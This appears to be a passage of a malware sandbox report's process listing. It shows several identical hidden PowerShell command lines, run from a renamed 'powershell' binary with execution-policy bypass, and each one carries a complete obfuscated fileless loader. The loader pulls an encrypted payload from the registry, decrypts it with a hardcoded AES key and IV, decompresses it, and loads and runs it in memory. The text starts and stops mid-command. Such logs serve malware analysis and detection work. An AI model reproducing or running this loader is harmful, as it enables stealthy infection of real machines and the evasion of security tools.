$gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:6708
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:6528
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:6864
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join 